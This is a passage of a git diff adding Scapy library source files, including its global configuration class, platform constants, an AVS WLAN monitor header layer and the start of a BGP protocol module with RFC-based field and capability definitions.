+AS_resolver: choose the AS resolver class to use
+extensions_paths: path or list of paths where extensions are to be looked for
+contribs : a dict which can be used by contrib layers to store local configuration
+debug_tls:When 1, print some TLS session secrets when they are computed.
+"""
+    version = VERSION
+    session = ""
+    interactive = False
+    interactive_shell = ""
+    stealth = "not implemented"
+    iface = None
+    iface6 = None
+    layers = LayersList()
+    commands = CommandsList()
+    logLevel = LogLevel()
+    checkIPID = 0
+    checkIPsrc = 1
+    checkIPaddr = 1
+    checkIPinIP = True
+    check_TCPerror_seqack = 0
+    verb = 2
+    prompt = Interceptor("prompt", ">>> ", _prompt_changer)
+    promisc = 1
+    sniff_promisc = 1
+    raw_layer = None
+    raw_summary = False
+    default_l2 = None
+    l2types = Num2Layer()
+    l3types = Num2Layer()
+    L3socket = None
+    L2socket = None
+    L2listen = None
+    BTsocket = None
+    min_pkt_size = 60
+    histfile = os.getenv('SCAPY_HISTFILE',
+                         os.path.join(os.path.expanduser("~"),
+                                      ".scapy_history"))
+    padding = 1
+    except_filter = ""
+    debug_match = 0
+    debug_tls = 0
+    wepkey = ""
+    cache_iflist = {}
+    cache_ipaddrs = {}
+    route = None # Filed by route.py
+    route6 = None # Filed by route6.py
+    auto_fragment = 1
+    debug_dissector = 0
+    color_theme = Interceptor("color_theme", NoTheme(), _prompt_changer)
+    warning_threshold = 5
+    warning_next_only_once = False
+    prog = ProgPath()
+    resolve = Resolve()
+    noenum = Resolve()
+    emph = Emphasize()
+    use_pypy = isPyPy()
+    use_pcap = os.getenv("SCAPY_USE_PCAPDNET", "").lower().startswith("y")
+    use_dnet = os.getenv("SCAPY_USE_PCAPDNET", "").lower().startswith("y")
+    use_bpf = False
+    use_winpcapy = False
+    use_npcap = False
+    ipv6_enabled = socket.has_ipv6
+    ethertypes = ETHER_TYPES
+    protocols = IP_PROTOS
+    services_tcp = TCP_SERVICES
+    services_udp = UDP_SERVICES
+    extensions_paths = "."
+    manufdb = MANUFDB
+    stats_classic_protocols = []
+    stats_dot11_protocols = []
+    temp_files = []
+    netcache = NetCache()
+    geoip_city = '/usr/share/GeoIP/GeoIPCity.dat'
+    geoip_city_ipv6 = '/usr/share/GeoIP/GeoIPCityv6.dat'
+    load_layers = ["l2", "inet", "dhcp", "dns", "dot11", "gprs",
+                   "hsrp", "inet6", "ir", "isakmp", "l2tp", "mgcp",
+                   "mobileip", "netbios", "netflow", "ntp", "ppp", "pptp",
+                   "radius", "rip", "rtp", "skinny", "smb", "snmp",
+                   "tftp", "x509", "bluetooth", "dhcp6", "llmnr",
+                   "sctp", "vrrp", "ipsec", "lltd", "vxlan", "eap"]
+    contribs = dict()
+    crypto_valid = isCryptographyValid()
+    crypto_valid_advanced = isCryptographyAdvanced()
+    fancy_prompt = True
+
+
+if not Conf.ipv6_enabled:
+    log_scapy.warning("IPv6 support disabled in Python. Cannot load Scapy IPv6 layers.")
+    for m in ["inet6","dhcp6"]:
+        if m in Conf.load_layers:
+            Conf.load_layers.remove(m)
+    
+if not Conf.crypto_valid:
+    log_scapy.warning("Crypto-related methods disabled for IPsec, Dot11 "
+                      "and TLS layers (needs python-cryptography v1.7+).")
+
+conf=Conf()
+conf.logLevel=30 # 30=Warning
+
+
+def crypto_validator(func):
+    """
+    This a decorator to be used for any method relying on the cryptography library.
+    Its behaviour depends on the 'crypto_valid' attribute of the global 'conf'.
+    """
+    def func_in(*args, **kwargs):
+        if not conf.crypto_valid:
+            raise ImportError("Cannot execute crypto-related method! "
+                              "Please install python-cryptography v1.7 or later.")
+        return func(*args, **kwargs)
+    return func_in
diff --git a/scapy/consts.py b/scapy/consts.py
new file mode 100644
index 0000000..2eeb849
--- /dev/null
+++ b/scapy/consts.py
@@ -0,0 +1,76 @@
+## This file is part of Scapy
+## See http://www.secdev.org/projects/scapy for more informations
+## Copyright (C) Philippe Biondi <phil@secdev.org>
+## This program is published under a GPLv2 license
+
+import os, inspect
+from sys import platform, maxsize
+import platform as platform_lib
+from scapy.error import *
+
+import subprocess
+
+try:
+    from matplotlib import get_backend as matplotlib_get_backend
+    import matplotlib.pyplot as plt
+    MATPLOTLIB = 1
+    if "inline" in matplotlib_get_backend():
+        MATPLOTLIB_INLINED = 1
+    else:
+        MATPLOTLIB_INLINED = 0
+    MATPLOTLIB_DEFAULT_PLOT_KARGS = {"marker": "+"}
+# RuntimeError to catch gtk "Cannot open display" error
+except (ImportError, RuntimeError):
+    plt = None
+    MATPLOTLIB = 0
+    MATPLOTLIB_INLINED = 0
+    MATPLOTLIB_DEFAULT_PLOT_KARGS = dict()
+    log_loading.info("Can't import matplotlib. Won't be able to plot.")
+
+def _test_pyx():
+    """Returns if PyX is correctly installed or not"""
+    try:
+        with open(os.devnull, 'wb') as devnull:
+            r = subprocess.check_call(["pdflatex", "--version"], stdout=devnull, stderr=subprocess.STDOUT)
+    except:
+        return False
+    else:
+        return r == 0
+
+try:
+    import pyx
+    if _test_pyx():
+        PYX = 1
+    else:
+        log_loading.warning("PyX dependencies are not installed ! Please install TexLive or MikTeX.")
+        PYX = 0
+except ImportError:
+    log_loading.info("Can't import PyX. Won't be able to use psdump() or pdfdump().")
+    PYX = 0
+
+
+LINUX = platform.startswith("linux")
+OPENBSD = platform.startswith("openbsd")
+FREEBSD = "freebsd" in platform
+NETBSD = platform.startswith("netbsd")
+DARWIN = platform.startswith("darwin")
+SOLARIS = platform.startswith("sunos")
+WINDOWS = platform.startswith("win32")
+BSD = DARWIN or FREEBSD or OPENBSD or NETBSD
+# See https://docs.python.org/3/library/platform.html#cross-platform
+IS_64BITS = maxsize > 2**32
+
+if WINDOWS:
+    try:
+        if float(platform_lib.release()) >= 8.1:
+            LOOPBACK_NAME = "Microsoft KM-TEST Loopback Adapter"
+        else:
+            LOOPBACK_NAME = "Microsoft Loopback Adapter"
+    except ValueError:
+        LOOPBACK_NAME = "Microsoft Loopback Adapter"
+    # Will be different on Windows
+    LOOPBACK_INTERFACE = None
+else:
+    uname = os.uname()
+    LOOPBACK_NAME = "lo" if LINUX else "lo0"
+    LOOPBACK_INTERFACE = LOOPBACK_NAME
diff --git a/scapy/contrib/__init__.py b/scapy/contrib/__init__.py
new file mode 100644
index 0000000..9965437
--- /dev/null
+++ b/scapy/contrib/__init__.py
@@ -0,0 +1,8 @@
+## This file is part of Scapy
+## See http://www.secdev.org/projects/scapy for more informations
+## Copyright (C) Philippe Biondi <phil@secdev.org>
+## This program is published under a GPLv2 license
+
+"""
+Package of contrib modules that have to be loaded explicitly.
+"""
diff --git a/scapy/contrib/avs.py b/scapy/contrib/avs.py
new file mode 100644
index 0000000..2d9183d
--- /dev/null
+++ b/scapy/contrib/avs.py
@@ -0,0 +1,68 @@
+#! /usr/bin/env python
+
+# This file is part of Scapy
+# Scapy is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, either version 2 of the License, or
+# any later version.
+#
+# Scapy is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with Scapy. If not, see <http://www.gnu.org/licenses/>.
+
+# scapy.contrib.description = AVS WLAN Monitor Header
+# scapy.contrib.status = loads
+
+from scapy.packet import *
+from scapy.fields import *
+from scapy.layers.dot11 import *
+
+AVSWLANPhyType =  { 0 : "Unknown",
+                    1 : "FHSS 802.11 '97",
+                    2 : "DSSS 802.11 '97", 
+                    3 : "IR Baseband",
+                    4 : "DSSS 802.11b",
+                    5 : "PBCC 802.11b", 
+                    6 : "OFDM 802.11g",
+                    7 : "PBCC 802.11g",
+                    8 : "OFDM 802.11a" }
+
+AVSWLANEncodingType =  { 0 : "Unknown",
+                         1 : "CCK",
+                         2 : "PBCC",
+                         3 : "OFDM"}
+
+AVSWLANSSIType = { 0 : "None",
+                   1 : "Normalized RSSI",
+                   2 : "dBm",
+                   3 : "Raw RSSI"}
+
+AVSWLANPreambleType = { 0 : "Unknown",
+                        1 : "Short",
+                        2 : "Long" }
+
+
+class AVSWLANHeader(Packet):
+        """ iwpriv eth1 set_prismhdr 1 """
+        name = "AVS WLAN Monitor Header"
+        fields_desc = [   IntField("version",1),
+                          IntField("len",64),
+                         LongField("mactime",0),
+                         LongField("hosttime",0),
+                      IntEnumField("phytype",0, AVSWLANPhyType),
+                          IntField("channel",0),
+                          IntField("datarate",0),
+                          IntField("antenna",0),
+                          IntField("priority",0),
+                      IntEnumField("ssi_type",0, AVSWLANSSIType),
+                    SignedIntField("ssi_signal",0),
+                    SignedIntField("ssi_noise",0),
+                      IntEnumField("preamble",0, AVSWLANPreambleType),
+                      IntEnumField("encoding",0, AVSWLANEncodingType),
+                        ]
+
+bind_layers(AVSWLANHeader, Dot11)
diff --git a/scapy/contrib/bgp.py b/scapy/contrib/bgp.py
new file mode 100644
index 0000000..c289937
--- /dev/null
+++ b/scapy/contrib/bgp.py
@@ -0,0 +1,2521 @@
+# This file is part of Scapy
+# Scapy is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, either version 2 of the License, or
+# any later version.
+#
+# Scapy is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with Scapy. If not, see <http://www.gnu.org/licenses/>.
+
+# scapy.contrib.description = BGP v0.1
+# scapy.contrib.status = loads
+
+"""
+BGP (Border Gateway Protocol).
+"""
+
+from __future__ import absolute_import
+import struct
+import re
+import socket
+
+from scapy import pton_ntop
+from scapy.packet import Packet, Packet_metaclass, bind_layers
+from scapy.fields import (Field, BitField, BitEnumField, XBitField, ByteField,
+                          ByteEnumField, ShortField, ShortEnumField, IntField,
+                          IntEnumField, LongField, IEEEFloatField, StrField,
+                          StrLenField, StrFixedLenField, FieldLenField,
+                          FieldListField, PacketField, PacketListField,
+                          IPField, FlagsField, ConditionalField,
+                          MultiEnumField)
+from scapy.layers.inet import TCP
+from scapy.layers.inet6 import IP6Field
+from scapy.config import conf, ConfClass
+from scapy.compat import *
+from scapy.error import log_runtime
+import scapy.modules.six as six
+
+
+#
+# Module configuration
+#
+
+
+class BGPConf(ConfClass):
+    """
+    BGP module configuration.
+    """
+
+    # By default, set to True in order to behave like an OLD speaker (RFC 6793)
+    use_2_bytes_asn = True
+
+
+bgp_module_conf = BGPConf()
+
+
+#
+# Constants
+#
+
+# RFC 4271: "The maximum message size is 4096 octets. All implementations are
+# required to support this maximum message size."
+BGP_MAXIMUM_MESSAGE_SIZE = 4096
+
+# RFC 4271: "Each message has a fixed-size header." Marker (16 bytes) +
+# Length (2 bytes) + Type (1 byte)
+_BGP_HEADER_SIZE = 19
+
+# Marker included in every message (RFC 4271: "This 16-octet field is
+# included for compatibility; it MUST be set to all ones")
+_BGP_HEADER_MARKER = b"\xff" * 16
+
+# extended-length flag (RFC 4271 4.3. UPDATE Message Format -
+# Path Attributes)
+_BGP_PA_EXTENDED_LENGTH = 0x10
+
+# RFC 5492 (at least 2 bytes : code + length)
+_BGP_CAPABILITY_MIN_SIZE = 2
+
+# RFC 5492 (at least 3 bytes : type code + length)
+_BGP_PATH_ATTRIBUTE_MIN_SIZE = 3
+
+
+#
+# Fields and utilities
+#
+
+def _bits_to_bytes_len(length_in_bits):
+    """
+    Helper function that returns the numbers of bytes necessary to store the
+    given number of bits.
+    """
+
+    return (length_in_bits + 7) // 8
+
+
+class BGPFieldIPv4(Field):
+    """
+    IPv4 Field (CIDR)
+    """
+
+    def mask2iplen(self, mask):
+        """Get the IP field mask length (in bytes)."""
+        return (mask + 7) // 8
+
+    def h2i(self, pkt, h):
+        """x.x.x.x/y to "internal" representation."""
+        ip, mask = re.split("/", h)
+        return int(mask), ip
+
+    def i2h(self, pkt, i):
+        """"Internal" representation to "human" representation
+        (x.x.x.x/y)."""
+        mask, ip = i
+        return ip + "/" + str(mask)
+
+    def i2repr(self, pkt, i):
+        return self.i2h(pkt, i)
+
+    def i2len(self, pkt, i):
+        mask, ip = i
+        return self.mask2iplen(mask) + 1
+
+    def i2m(self, pkt, i):
+        """"Internal" (IP as bytes, mask as int) to "machine"
+        representation."""
+        mask, ip = i
+        ip = socket.inet_aton(ip)
+        return struct.pack(">B", mask) + ip[:self.mask2iplen(mask)]
+
+    def addfield(self, pkt, s, val):
+        return s + self.i2m(pkt, val)
+
+    def getfield(self, pkt, s):
+        length = self.mask2iplen(orb(s[0])) + 1
+        return s[length:], self.m2i(pkt, s[:length])
+
+    def m2i(self, pkt, m):
+        mask = orb(m[0])
+        mask2iplen_res = self.mask2iplen(mask)
+        ip = b"".join(m[i + 1:i + 2] if i < mask2iplen_res else b"\x00" for i in range(4))
+        return (mask, socket.inet_ntoa(ip))
+
+
+class BGPFieldIPv6(Field):
+    """IPv6 Field (CIDR)"""
+
+    def mask2iplen(self, mask):
+        """Get the IP field mask length (in bytes)."""
+        return (mask + 7) // 8
+
+    def h2i(self, pkt, h):
+        """x.x.x.x/y to internal representation."""
+        ip, mask = re.split("/", h)
+        return int(mask), ip
+
+    def i2h(self, pkt, i):
+        """"Internal" representation to "human" representation."""
+        mask, ip = i
+        return ip + "/" + str(mask)
+
+    def i2repr(self, pkt, i):
+        return self.i2h(pkt, i)
+
+    def i2len(self, pkt, i):
+        mask, ip = i
+        return self.mask2iplen(mask) + 1
+
+    def i2m(self, pkt, i):
+        """"Internal" (IP as bytes, mask as int) to "machine" representation."""
+        mask, ip = i
+        ip = pton_ntop.inet_pton(socket.AF_INET6, ip)
+        return struct.pack(">B", mask) + ip[:self.mask2iplen(mask)]
+
+    def addfield(self, pkt, s, val):
+        return s + self.i2m(pkt, val)
+
+    def getfield(self, pkt, s):
+        length = self.mask2iplen(orb(s[0])) + 1
+        return s[length:], self.m2i(pkt, s[:length])
+
+    def m2i(self, pkt, m):
+        mask = orb(m[0])
+        ip = b"".join(m[i + 1:i + 2] if i < self.mask2iplen(mask) else b"\x00" for i in range(16))
+        return (mask, pton_ntop.inet_ntop(socket.AF_INET6, ip))
+
+
+def has_extended_length(flags):
+    """
+    Used in BGPPathAttr to check if the extended-length flag is
+    set.
+    """
+
+    return flags & _BGP_PA_EXTENDED_LENGTH == _BGP_PA_EXTENDED_LENGTH
+
+
+class BGPNLRI_IPv4(Packet):
+    """
+    Packet handling IPv4 NLRI fields.
+    """
+
+    name = "IPv4 NLRI"
+    fields_desc = [BGPFieldIPv4("prefix", "0.0.0.0/0")]
+
+
+class BGPNLRI_IPv6(Packet):
+    """
+    Packet handling IPv6 NLRI fields.
+    """
+
+    name = "IPv6 NLRI"
+    fields_desc = [BGPFieldIPv6("prefix", "::/0")]
+
+
+class BGPNLRIPacketListField(PacketListField):
+    """
+    PacketListField handling NLRI fields.
+    """
+
+    def getfield(self, pkt, s):
+        lst = []
+        length = None
+        ret = b""
+
+        if self.length_from is not None:
+            length = self.length_from(pkt)
+
+        if length is not None:
+            remain, ret = s[:length], s[length:]
+        else:
+            index = s.find(_BGP_HEADER_MARKER)
+            if index != -1:
+                remain = s[:index]
+                ret = s[index:]
+            else:
+                remain = s
+
+        while remain:
+            mask_length_in_bits = orb(remain[0])
+            mask_length_in_bytes = (mask_length_in_bits + 7) // 8
+            current = remain[:mask_length_in_bytes + 1]
+            remain = remain[mask_length_in_bytes + 1:]
+            packet = self.m2i(pkt, current)
+            lst.append(packet)
+
+        return remain + ret, lst
+
+
+class _BGPInvalidDataException(Exception):
+    """
+    Raised when it is not possible to instantiate a BGP packet with the given
+    data.
+    """
+
+    def __init__(self, details):
+        Exception.__init__(
+            self,
+            "Impossible to build packet from the given data" + details
+        )
+
+
+def _get_cls(name, fallback_cls=conf.raw_layer):
+    """
+    Returns class named "name" if it exists, fallback_cls otherwise.
+    """
+
+    return globals().get(name, fallback_cls)
+
+
+#
+# Common dictionaries
+#
+
+_bgp_message_types = {
+    0: "NONE",
+    1: "OPEN",
+    2: "UPDATE",
+    3: "NOTIFICATION",
+    4: "KEEPALIVE",
+    5: "ROUTE-REFRESH"
+}
+
+
+#
+# AFIs
+#
+
+address_family_identifiers = {
+    0: "Reserved",
+    1: "IP (IP version 4)",
+    2: "IP6 (IP version 6)",
+    3: "NSAP",
+    4: "HDLC (8-bit multidrop)",
+    5: "BBN 1822",
+    6: "802 (includes all 802 media plus Ethernet \"canonical format\")",
+    7: "E.163",
+    8: "E.164 (SMDS, Frame Relay, ATM)",
+    9: "F.69 (Telex)",
+    10: "X.121 (X.25, Frame Relay)",
+    11: "IPX",
+    12: "Appletalk",
+    13: "Decnet IV",
+    14: "Banyan Vines",
+    15: "E.164 with NSAP format subaddress",  # ANDY_MALIS
+    16: "DNS (Domain Name System)",
+    17: "Distinguished Name",  # CHARLES_LYNN
+    18: "AS Number",  # CHARLES_LYNN
+    19: "XTP over IP version 4",  # MIKE_SAUL
+    20: "XTP over IP version 6",  # MIKE_SAUL
+    21: "XTP native mode XTP",  # MIKE_SAUL
+    22: "Fibre Channel World-Wide Port Name",  # MARK_BAKKE
+    23: "Fibre Channel World-Wide Node Name",  # MARK_BAKKE
+    24: "GWID",  # SUBRA_HEGDE
+    25: "AFI for L2VPN information",  # RFC 6074
+    26: "MPLS-TP Section Endpoint Identifier",  # RFC 7212
+    27: "MPLS-TP LSP Endpoint Identifier",  # RFC 7212
+    28: "MPLS-TP Pseudowire Endpoint Identifier",  # RFC 7212
+    29: "MT IP: Multi-Topology IP version 4",  # RFC 7307
+    30: "MT IPv6: Multi-Topology IP version 6",  # RFC 7307
+    16384: "EIGRP Common Service Family",  # DONNIE_SAVAGE
+    16385: "EIGRP IPv4 Service Family",  # DONNIE_SAVAGE
+    16386: "EIGRP IPv6 Service Family",  # DONNIE_SAVAGE
+    16387: "LISP Canonical Address Format (LCAF)",  # DAVID_MEYER
+    16388: "BGP-LS",  # RFC 7752
+    16389: "48-bit MAC",  # RFC 7042
+    16390: "64-bit MAC",  # RFC 7042
+    16391: "OUI",  # draft-ietf-trill-ia-appsubtlv
+    16392: "MAC/24",  # draft-ietf-trill-ia-appsubtlv
+    16393: "MAC/40",  # draft-ietf-trill-ia-appsubtlv
+    16394: "IPv6/64",  # draft-ietf-trill-ia-appsubtlv
+    16395: "RBridge Port ID",  # draft-ietf-trill-ia-appsubtlv
+    16396: "TRILL Nickname",  # RFC 7455
+    65535: "Reserved"
+}
+
+
+subsequent_afis = {
+    0: "Reserved",  # RFC 4760
+    1: "Network Layer Reachability Information used for unicast forwarding",  # RFC 4760
+    2: "Network Layer Reachability Information used for multicast forwarding",  # RFC 4760
+    3: "Reserved",  # RFC 4760
+    4: "Network Layer Reachability Information (NLRI) with MPLS Labels",  # RFC 3107
+    5: "MCAST-VPN",  # RFC 6514
+    6: "Network Layer Reachability Information used for Dynamic Placement of\
+        Multi-Segment Pseudowires", # RFC 7267
+    7: "Encapsulation SAFI",  # RFC 5512
+    8: "MCAST-VPLS",  # RFC 7117
+    64: "Tunnel SAFI",  # DRAFT-NALAWADE-KAPOOR-TUNNEL-SAFI-01
+    65: "Virtual Private LAN Service (VPLS)",  # RFC 6074
+    66: "BGP MDT SAFI",  # RFC 6037
+    67: "BGP 4over6 SAFI",  # RFC 5747
+    68: "BGP 6over4 SAFI",  # YONG_CUI
+    69: "Layer-1 VPN auto-discovery information",  # RFC 5195
+    70: "BGP EVPNs",  # RFC 7432
+    71: "BGP-LS",  # RFC 7752
+    72: "BGP-LS-VPN",  # RFC 7752
+    128: "MPLS-labeled VPN address",  # RFC 4364
+    129: "Multicast for BGP/MPLS IP Virtual Private Networks (VPNs)",  # RFC 6514
+    132: "Route Target constraint",  # RFC 4684
+    133: "IPv4 dissemination of flow specification rules",  # RFC 5575
+    134: "VPNv4 dissemination of flow specification rules",  # RFC 5575
+    140: "VPN auto-discovery",  # draft-ietf-l3vpn-bgpvpn-auto
+    255: "Reserved"  # RFC 4760
+}
+
+
+# Used by _bgp_dispatcher to instantiate the appropriate class
+_bgp_cls_by_type = {
+    1: "BGPOpen",
+    2: "BGPUpdate",
+    3: "BGPNotification",
+    4: "BGPKeepAlive",
+    5: "BGPRouteRefresh",
+}
+
+
+#
+# Header
+#
+
+class BGPHeader(Packet):
+    """
+    The header of any BGP message.
+    References: RFC 4271
+    """
+
+    name = "HEADER"
+    fields_desc = [
+        XBitField(
+            "marker",
+            0xffffffffffffffffffffffffffffffff,
+            0x80
+        ),
+        ShortField("len", None),
+        ByteEnumField("type", 4, _bgp_message_types)
+    ]
+
+    @classmethod
+    def dispatch_hook(cls, _pkt=None, *args, **kargs):
+        """
+        Returns the right class for the given data.
+        """
+
+        return _bgp_dispatcher(_pkt)
+
+    def post_build(self, p, pay):
+        if self.len is None:
+            length = len(p)
+            if pay:
+                length = length + len(pay)
+            p = p[:16] + struct.pack("!H", length) + p[18:]
+        return p + pay
+
+    def guess_payload_class(self, payload):
+        return _get_cls(_bgp_cls_by_type.get(self.type, conf.raw_layer), conf.raw_layer)
+
+
+def _bgp_dispatcher(payload):
+    """
+    Returns the right class for a given BGP message.
+    """
+
+    cls = conf.raw_layer
+
+    # By default, calling BGP() will build a BGPHeader.
+    if payload is None:
+        cls = _get_cls("BGPHeader", conf.raw_layer)
+
+    else:
+        if len(payload) >= _BGP_HEADER_SIZE and\
+                payload[:16] == _BGP_HEADER_MARKER:
+
+            # Get BGP message type
+            message_type = orb(payload[18])
+            if message_type == 4:
+                cls = _get_cls("BGPKeepAlive")
+            else:
+                cls = _get_cls("BGPHeader")
+
+    return cls
+
+
+class BGP(Packet):
+    """
+    Every BGP message inherits from this class.
+    """
+
+    #
+    # BGP messages types
+
+    OPEN_TYPE = 1
+    UPDATE_TYPE = 2
+    NOTIFICATION_TYPE = 3
+    KEEPALIVE_TYPE = 4
+    ROUTEREFRESH_TYPE = 5
+
+    @classmethod
+    def dispatch_hook(cls, _pkt=None, *args, **kargs):
+        """
+        Returns the right class for the given data.
+        """
+
+        return _bgp_dispatcher(_pkt)
+
+    def guess_payload_class(self, p):
+        cls = None
+        if len(p) > 15 and p[:16] == _BGP_HEADER_MARKER:
+            cls = BGPHeader
+        return cls
+
+
+#
+# KEEPALIVE
+#
+
+class BGPKeepAlive(BGP, BGPHeader):
+
+    """
+    KEEPALIVE message.
+    """
+
+    name = "KEEPALIVE"
+
+
+#
+# OPEN
+#
+
+#
+# Optional Parameters Codes
+#
+
+optional_parameter_codes = {
+    0: "Reserved",
+    1: "Authentication (deprecated)",
+    2: "Capabilities"
+}
+
+
+#
+# Capabilities
+#
+
+_capabilities = {
+    0: "Reserved",  # RFC 5492
+    1: "Multiprotocol Extensions for BGP-4",  # RFC 2858
+    2: "Route Refresh Capability for BGP-4",  # RFC 2918
+    3: "Outbound Route Filtering Capability",  # RFC 5291
+    4: "Multiple routes to a destination capability",  # RFC 3107
+    5: "Extended Next Hop Encoding",  # RFC 5549
+    6: "BGP-Extended Message",  # (TEMPORARY - registered 2015-09-30, expires 2016-09-30),
+    # draft-ietf-idr-bgp-extended-messages
+    64: "Graceful Restart Capability",  # RFC 4724
+    65: "Support for 4-octet AS number capability",  # RFC 6793
+    66: "Deprecated (2003-03-06)",
+    67: "Support for Dynamic Capability (capability specific)",  # draft-ietf-idr-dynamic-cap
+    68: "Multisession BGP Capability",  # draft-ietf-idr-bgp-multisession
+    69: "ADD-PATH Capability",  # RFC-ietf-idr-add-paths-15
+    70: "Enhanced Route Refresh Capability",  # RFC 7313
+    71: "Long-Lived Graceful Restart (LLGR) Capability",  # draft-uttaro-idr-bgp-persistence
+    73: "FQDN Capability",  # draft-walton-bgp-hostname-capability
+    128: "Route Refresh Capability for BGP-4 (Cisco)",  # Cisco also uses 128 for RR capability
+    130: "Outbound Route Filtering Capability (Cisco)",  # Cisco also uses 130 for ORF capability
+}
+
+
+_capabilities_objects = {
+    0x01: "BGPCapMultiprotocol",  # RFC 2858
+    0x02: "BGPCapGeneric",  # RFC 2918
+    0x03: "BGPCapORF",  # RFC 5291
+    0x40: "BGPCapGracefulRestart",  # RFC 4724
+    0x41: "BGPCapFourBytesASN",  # RFC 4893
+    0x46: "BGPCapGeneric",  # Enhanced Route Refresh Capability, RFC 7313
+    0x82: "BGPCapORF",  # ORF / RFC 5291 (Cisco)
+}
+
+
+def _register_cls(registry, cls):
+    registry[cls.__name__] = cls
+    return cls
+
+
+_capabilities_registry = {}
+
+
+def _bgp_capability_dispatcher(payload):
+    """
+    Returns the right class for a given BGP capability.
+    """
+
+    cls = _capabilities_registry["BGPCapGeneric"]
+
+    # By default, calling BGPCapability() will build a "generic" capability.
+    if payload is None:
+        cls = _capabilities_registry["BGPCapGeneric"]
+
+    else:
+        length = len(payload)
+        if length >= _BGP_CAPABILITY_MIN_SIZE:
+            code = orb(payload[0])
+            cls = _get_cls(_capabilities_objects.get(code, "BGPCapGeneric"))
+
+    return cls
+
+
+class _BGPCap_metaclass(type):
+    def __new__(cls, clsname, bases, attrs):
+        newclass = super(_BGPCap_metaclass, cls).__new__(
+            cls, clsname, bases, attrs)
+        _register_cls(_capabilities_registry, newclass)
+        return newclass
+
+
+class _BGPCapability_metaclass(Packet_metaclass, _BGPCap_metaclass):
+    pass
+
+
+class BGPCapability(six.with_metaclass(_BGPCapability_metaclass, Packet)):
+    """
+    Generic BGP capability.
+    """
+
+    @classmethod
+    def dispatch_hook(cls, _pkt=None, *args, **kargs):
+        """
+        Returns the right class for the given data.
+        """
+
+        return _bgp_capability_dispatcher(_pkt)
+
+    def pre_dissect(self, s):
+        """
+        Check that the payload is long enough (at least 2 bytes).
+        """
+        length = len(s)
+        if length < _BGP_CAPABILITY_MIN_SIZE:
+            err = " ({}".format(length) + " is < _BGP_CAPABILITY_MIN_SIZE "
+            err += "({})).".format(_BGP_CAPABILITY_MIN_SIZE)
+            raise _BGPInvalidDataException(err)
+        return s
+
+    # Every BGP capability object inherits from BGPCapability.
+    def haslayer(self, cls):
+        if cls == "BGPCapability":
+            if isinstance(self, BGPCapability):
+                return True
+        if issubclass(cls, BGPCapability):
+            if isinstance(self, cls):
+                return True
+        return super(BGPCapability, self).haslayer(cls)
+
+    def getlayer(self, cls, nb=1, _track=None, _subclass=True, **flt):
+        return super(BGPCapability, self).getlayer(
+            cls, nb=nb, _track=_track, _subclass=True, **flt
+        )
+
+    def post_build(self, p, pay):
+        length = 0
+        if self.length is None:
+            # capability packet length - capability code (1 byte) -
+            # capability length (1 byte)
+            length = len(p) - 2
+            p = chb(p[0]) + chb(length) + p[2:]
+        return p + pay
+
+
+class BGPCapGeneric(BGPCapability):
+    """
+    This class provides an implementation of a generic capability.
+    """
+
+    name = "BGP Capability"
+    fields_desc = [
+        ByteEnumField("code", 0, _capabilities),
+        ByteField("length", 0),
+        ConditionalField(
+            StrLenField(
+                "cap_data",
+                '',
+                length_from=lambda p: p.length
+            ),
+            lambda p: p.length > 0
+        )
+    ]
+
+
+#
+# Multiprotocol Extensions for BGP-4
+#
+
+class BGPCapMultiprotocol(BGPCapability):
+    """
+    This class provides an implementation of the Multiprotocol
+    capability.
+    References: RFC 4760
+    """
+
+    name = "Multiprotocol Extensions for BGP-4"
+    fields_desc = [
+        ByteEnumField("code", 1, _capabilities),
+        ByteField("length", 4),
+        ShortEnumField("afi", 0, address_family_identifiers),
+        ByteField("reserved", 0),
+        ByteEnumField("safi", 0, subsequent_afis)
+    ]
+
+
+#
+# Outbound Route Filtering Capability for BGP-4
+#
+
+_orf_types = {
+    0: "Reserved",  # RFC 5291
+    64: "Address Prefix ORF",  # RFC 5292
+    65: "CP-ORF",  # RFC 7543
+}
+
+
+send_receive_values = {
+    1: "receive",
+    2: "send",
+    3: "receive + send"
+}
+
+
+class BGPCapORFBlock(Packet):
+    """
+    The "ORFBlock" is made of <AFI, rsvd, SAFI, Number of ORFs, and
+    <ORF Type, Send/Receive> entries.
+    """
+
+    class ORFTuple(Packet):
+        """
+        Packet handling <ORF Types, Send/Receive> tuples.
+        """
+
+        # (ORF Type (1 octet) / Send/Receive (1 octet)) ....
+        name = "ORF Type"
+        fields_desc = [
+            ByteEnumField("orf_type", 0, _orf_types),
+            ByteEnumField("send_receive", 0, send_receive_values)
+        ]
+
+    name = "ORF Capability Entry"
+    fields_desc = [
+        ShortEnumField("afi", 0, address_family_identifiers),
+        ByteField("reserved", 0),
+        ByteEnumField("safi", 0, subsequent_afis),
+        FieldLenField(
+            "orf_number",
+            None,
+            count_of="entries",
+            fmt="!B"
+        ),
+        PacketListField(
+            "entries",
+            [],
+            ORFTuple,
+            count_from=lambda p: p.orf_number
+        )
+    ]
+
+    def post_build(self, p, pay):
+        count = None
+        if self.orf_number is None:
+            count = len(self.entries)  # orf_type (1 byte) + send_receive (1 byte)
+            p = p[:4] + struct.pack("!B", count) + p[5:]
+        return p + pay
+
+
+class BGPCapORFBlockPacketListField(PacketListField):
+    """
+    Handles lists of BGPCapORFBlocks.
+    """
+
+    def getfield(self, pkt, s):
+        lst = []
+        length = None
+
+        if self.length_from is not None:
+            length = self.length_from(pkt)
+        remain = s
+        if length is not None:
+            remain = s[:length]
+
+        while remain:
+            # block length: afi (2 bytes) + reserved (1 byte) + safi (1 byte) +
+            # orf_number (1 byte) + entries (2 bytes * orf_number)
+            orf_number = orb(remain[4])
+            entries_length = orf_number * 2
+            current = remain[:5 + entries_length]
+            remain = remain[5 + entries_length:]
+            packet = self.m2i(pkt, current)
+            lst.append(packet)
+
+        return remain, lst
+
+
+class BGPCapORF(BGPCapability):
+    """
+    This class provides an implementation of the Outbound Route Filtering
+    capability.
+    References: RFC 5291
+    """
+
+    name = "Outbound Route Filtering Capability"
+    fields_desc = [
